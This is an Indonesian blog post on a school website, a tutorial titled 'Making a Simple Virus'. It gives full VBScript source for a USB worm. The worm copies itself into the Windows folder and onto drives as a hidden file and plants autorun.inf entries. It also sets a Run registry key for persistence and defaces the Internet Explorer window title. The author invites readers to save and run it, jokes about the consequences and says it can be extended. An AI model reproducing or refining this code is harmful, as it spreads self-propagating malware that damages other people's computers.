MAN 10 JAKARTA
MEDIA ONLINE INFORMATIONS

Monday, 29-April-24, 5:32:44 PM
Welcome Guest | RSS
Site menu
Section categories
Umum [12]
Informasi Umum
MAN 10 Jakarta News [1]
Informasi Sekolah
Search
Calendar
«  April 2009  »
SuMoTuWeThFrSa
   1234
567891011
12131415161718
19202122232425
2627282930



Entries archive


Main » 2009 » April » 27 » Membuat Virus Sederhana
11:57:25 AM
Membuat Virus Sederhana

Langsung aja yah gak perlu basa-basi lagi..

Sesuai dengan Judulnya, yaitu Membuat Virus Sederhana..
Ini paling sederhana, Yang lo butuhin cuma NotePad aja kok..

Oke Sekarang Coba buka Notepadnya, dan masukin Script ini..

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”

set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Jneterz
rg.regwrite "HKCRvbsfileDefaultIcon”,”shell32.dll,2″
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”explorer.exe /e,/select, "&Wscript.ScriptFullname

Simpan dengan nama .vbs contoh virus.vbs

Apa yang terjadi..?
)

Tanggung Resikonya sendiri..
Xixixiixi..
klo antivirus lo aktiv pasti langsung kena tuh script..
D

Oke segitu aja deh..
Semoga bermanfaat, script ini masih bisa di kembangkan lagi..
8-}

Category: Umum | Views: 1003 | Added by: JnET | Tags: virus | Rating: 1.7/16
Total comments: 1
1 CyberTech  
1
Bro' Klo bisa bikin artikel yang bermutu jangan merusak, itu ngga guna untuk kedepan, tp klo emang untuk dasar pengetahuan , ngga jd masalah. THANKS WEB ADMIN www.yogyafree.net

Name *:
Email *:
Code *:
Our poll
Pelajaran Apa yang paling Anda suka?
Total of answers: 169
Site friends

  • JoeyNet Media Online
  • Light Reload
  • Light Advertisment
  • Statistics

    Total online: 1
    Guests: 1
    Users: 0


    www.e-referrer.com
    Tag Board
    Copyright JOEYNET ADVISORY CORP © 202418.223.124.244